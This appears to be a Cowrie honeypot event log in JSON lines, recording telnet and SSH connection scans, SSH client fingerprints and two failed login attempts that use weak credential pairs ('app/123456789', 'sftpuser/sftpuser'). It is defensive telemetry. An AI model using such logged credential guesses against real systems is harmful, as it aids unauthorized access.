{"eventid":"cowrie.session.closed","duration":33.029327154159546,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:35.084820Z","src_ip":"103.233.1.130","session":"7ee2141613c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":49986,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd1c3f9dac5e","protocol":"telnet","message":"New connection: 103.233.1.130:49986 (159.203.135.109:23) [session: bd1c3f9dac5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:35.211534Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":49998,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a9dbff3ceaf","protocol":"telnet","message":"New connection: 103.233.1.130:49998 (159.203.135.109:23) [session: 2a9dbff3ceaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:35.654395Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":50012,"dst_ip":"159.203.135.109","dst_port":23,"session":"e81226259721","protocol":"telnet","message":"New connection: 103.233.1.130:50012 (159.203.135.109:23) [session: e81226259721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:35.898552Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":50020,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9b01aec1881","protocol":"telnet","message":"New connection: 103.233.1.130:50020 (159.203.135.109:23) [session: b9b01aec1881]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:36.261458Z"}
{"eventid":"cowrie.session.closed","duration":31.328564643859863,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:38.285463Z","src_ip":"103.233.1.130","session":"937386896a44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":50034,"dst_ip":"159.203.135.109","dst_port":23,"session":"bea8e50f579c","protocol":"telnet","message":"New connection: 103.233.1.130:50034 (159.203.135.109:23) [session: bea8e50f579c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:39.940663Z"}
{"eventid":"cowrie.session.closed","duration":30.943510055541992,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:40.136309Z","src_ip":"103.233.1.130","session":"601bf0e49816","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":50042,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb31ee61c541","protocol":"telnet","message":"New connection: 103.233.1.130:50042 (159.203.135.109:23) [session: bb31ee61c541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:40.632853Z"}
{"eventid":"cowrie.session.closed","duration":31.405689001083374,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:41.995595Z","src_ip":"103.233.1.130","session":"6a2802a37adb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.006445169448853,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:42.263154Z","src_ip":"103.233.1.130","session":"5b6f35e7c00a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.158610582351685,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:43.224858Z","src_ip":"103.233.1.130","session":"2698dcbb722a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":50046,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f86ca743673","protocol":"telnet","message":"New connection: 103.233.1.130:50046 (159.203.135.109:23) [session: 7f86ca743673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:43.643581Z"}
{"eventid":"cowrie.session.closed","duration":31.147603750228882,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:45.256111Z","src_ip":"103.233.1.130","session":"b431c18ae80a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25953698158264,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:45.393860Z","src_ip":"103.233.1.130","session":"3016a68f0c2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":41544,"dst_ip":"159.203.135.109","dst_port":23,"session":"986ba26e6d9f","protocol":"telnet","message":"New connection: 103.233.1.130:41544 (159.203.135.109:23) [session: 986ba26e6d9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:45.505610Z"}
{"eventid":"cowrie.session.closed","duration":32.03578805923462,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:45.959494Z","src_ip":"103.233.1.130","session":"865c7526267e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59612,"dst_ip":"159.203.135.109","dst_port":22,"session":"2237004540b7","protocol":"ssh","message":"New connection: 159.203.92.129:59612 (159.203.135.109:22) [session: 2237004540b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:46.423425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:46.427856Z","src_ip":"159.203.92.129","session":"2237004540b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:46.432871Z","src_ip":"159.203.92.129","session":"2237004540b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"123456789","message":"login attempt [app/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:46.445137Z","src_ip":"159.203.92.129","session":"2237004540b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.51898694038391,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:46.720484Z","src_ip":"103.233.1.130","session":"d7270f0b0958","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":41552,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba4fcebdc3cd","protocol":"telnet","message":"New connection: 103.233.1.130:41552 (159.203.135.109:23) [session: ba4fcebdc3cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:46.929221Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:47.451934Z","src_ip":"159.203.92.129","session":"2237004540b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.951574087142944,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:47.554078Z","src_ip":"103.233.1.130","session":"da5750bac948","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.897419929504395,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:47.972276Z","src_ip":"103.233.1.130","session":"d3ba95a3c824","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":41560,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ae6a5707ca4","protocol":"telnet","message":"New connection: 103.233.1.130:41560 (159.203.135.109:23) [session: 1ae6a5707ca4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:48.363316Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":41562,"dst_ip":"159.203.135.109","dst_port":23,"session":"d48ffc2a5d30","protocol":"telnet","message":"New connection: 103.233.1.130:41562 (159.203.135.109:23) [session: d48ffc2a5d30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:48.864625Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.9.122.206","src_port":64416,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e7d0c4dce7c","protocol":"telnet","message":"New connection: 202.9.122.206:64416 (10.17.0.5:23) [session: 9e7d0c4dce7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:49.408348Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":41564,"dst_ip":"159.203.135.109","dst_port":23,"session":"b33db3e230be","protocol":"telnet","message":"New connection: 103.233.1.130:41564 (159.203.135.109:23) [session: b33db3e230be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:50.356069Z"}
{"eventid":"cowrie.session.closed","duration":32.2536346912384,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:51.133290Z","src_ip":"103.233.1.130","session":"ae210e4acc84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.593493700027466,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:51.429731Z","src_ip":"103.233.1.130","session":"fdf44001eaf6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":41574,"dst_ip":"159.203.135.109","dst_port":23,"session":"81b6e5c42f10","protocol":"telnet","message":"New connection: 103.233.1.130:41574 (159.203.135.109:23) [session: 81b6e5c42f10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:52.233599Z"}
{"eventid":"cowrie.session.closed","duration":31.554232358932495,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:54.030693Z","src_ip":"103.233.1.130","session":"c4b310e74ed0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":49478,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fdb5a5336a3","protocol":"telnet","message":"New connection: 103.233.1.130:49478 (159.203.135.109:23) [session: 6fdb5a5336a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:54.259012Z"}
{"eventid":"cowrie.session.closed","duration":31.45190715789795,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:54.723544Z","src_ip":"103.233.1.130","session":"a50e5032a66a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.381585836410522,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:55.383683Z","src_ip":"103.233.1.130","session":"7bbc6889285c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":49494,"dst_ip":"159.203.135.109","dst_port":23,"session":"f64c710e8b8b","protocol":"telnet","message":"New connection: 103.233.1.130:49494 (159.203.135.109:23) [session: f64c710e8b8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:57.078127Z"}
{"eventid":"cowrie.session.closed","duration":31.064993619918823,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:58.751728Z","src_ip":"103.233.1.130","session":"33bb59085942","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.63447856903076,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:59.143402Z","src_ip":"103.233.1.130","session":"d4b33c48e8f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":49508,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cab4e10fc0b","protocol":"telnet","message":"New connection: 103.233.1.130:49508 (159.203.135.109:23) [session: 5cab4e10fc0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:59.157432Z"}
{"eventid":"cowrie.session.closed","duration":31.230406999588013,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:59.172314Z","src_ip":"103.233.1.130","session":"08fe61ecf68d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":49516,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f534c130cc7","protocol":"telnet","message":"New connection: 103.233.1.130:49516 (159.203.135.109:23) [session: 3f534c130cc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:59.427018Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":49520,"dst_ip":"159.203.135.109","dst_port":23,"session":"be64dc64b9aa","protocol":"telnet","message":"New connection: 103.233.1.130:49520 (159.203.135.109:23) [session: be64dc64b9aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:59.752244Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":49536,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf8b1d203086","protocol":"telnet","message":"New connection: 103.233.1.130:49536 (159.203.135.109:23) [session: cf8b1d203086]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:00.607625Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":49548,"dst_ip":"159.203.135.109","dst_port":23,"session":"edf54f8d1283","protocol":"telnet","message":"New connection: 103.233.1.130:49548 (159.203.135.109:23) [session: edf54f8d1283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:01.319594Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":49564,"dst_ip":"159.203.135.109","dst_port":23,"session":"721fefdf5212","protocol":"telnet","message":"New connection: 103.233.1.130:49564 (159.203.135.109:23) [session: 721fefdf5212]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:01.726074Z"}
{"eventid":"cowrie.session.closed","duration":12.487725973129272,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:01.895884Z","src_ip":"202.9.122.206","session":"9e7d0c4dce7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.50615644454956,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:02.642187Z","src_ip":"103.233.1.130","session":"1f0f5d685b60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":50252,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b0322f755fe","protocol":"ssh","message":"New connection: 122.168.114.167:50252 (159.203.135.109:22) [session: 2b0322f755fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:02.737760Z"}
{"eventid":"cowrie.session.closed","duration":30.512081384658813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:03.180500Z","src_ip":"103.233.1.130","session":"4f615e9fe6dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.282172918319702,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:04.224326Z","src_ip":"103.233.1.130","session":"57c628d4e4e1","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:04.481339Z","src_ip":"122.168.114.167","session":"2b0322f755fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:04.485906Z","src_ip":"122.168.114.167","session":"2b0322f755fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.207818508148193,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:05.257474Z","src_ip":"103.233.1.130","session":"a19d499f9420","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.004749059677124,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:05.625596Z","src_ip":"103.233.1.130","session":"39c5d8398848","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.000516891479492,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:06.211924Z","src_ip":"103.233.1.130","session":"bd1c3f9dac5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.907355308532715,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:06.561622Z","src_ip":"103.233.1.130","session":"2a9dbff3ceaf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":48754,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2d05dddb179","protocol":"telnet","message":"New connection: 103.233.1.130:48754 (159.203.135.109:23) [session: e2d05dddb179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:06.628770Z"}
{"eventid":"cowrie.session.closed","duration":31.257814407348633,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:07.156277Z","src_ip":"103.233.1.130","session":"e81226259721","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":48758,"dst_ip":"159.203.135.109","dst_port":23,"session":"22da11ea134b","protocol":"telnet","message":"New connection: 103.233.1.130:48758 (159.203.135.109:23) [session: 22da11ea134b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:07.248797Z"}
{"eventid":"cowrie.session.closed","duration":31.154205799102783,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:07.415551Z","src_ip":"103.233.1.130","session":"b9b01aec1881","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":48766,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e956c75d56d","protocol":"telnet","message":"New connection: 103.233.1.130:48766 (159.203.135.109:23) [session: 4e956c75d56d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:07.863186Z"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"sftpuser","message":"login attempt [sftpuser/sftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:11.126523Z","src_ip":"122.168.114.167","session":"2b0322f755fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.315523386001587,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:11.256105Z","src_ip":"103.233.1.130","session":"bea8e50f579c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":48774,"dst_ip":"159.203.135.109","dst_port":23,"session":"34b54bb3cbad","protocol":"telnet","message":"New connection: 103.233.1.130:48774 (159.203.135.109:23) [session: 34b54bb3cbad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:11.369926Z"}
{"eventid":"cowrie.session.closed","duration":30.831541299819946,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:11.464272Z","src_ip":"103.233.1.130","session":"bb31ee61c541","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":48788,"dst_ip":"159.203.135.109","dst_port":23,"session":"6771fcd3028a","protocol":"telnet","message":"New connection: 103.233.1.130:48788 (159.203.135.109:23) [session: 6771fcd3028a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:12.581542Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":48792,"dst_ip":"159.203.135.109","dst_port":23,"session":"eba16f1de365","protocol":"telnet","message":"New connection: 103.233.1.130:48792 (159.203.135.109:23) [session: eba16f1de365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:12.954754Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":48796,"dst_ip":"159.203.135.109","dst_port":23,"session":"faf674d459bc","protocol":"telnet","message":"New connection: 103.233.1.130:48796 (159.203.135.109:23) [session: faf674d459bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:13.305488Z"}
{"eventid":"cowrie.session.closed","duration":"11.3","message":"Connection lost after 11.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:14.001654Z","src_ip":"122.168.114.167","session":"2b0322f755fe","protocol":"ssh"}
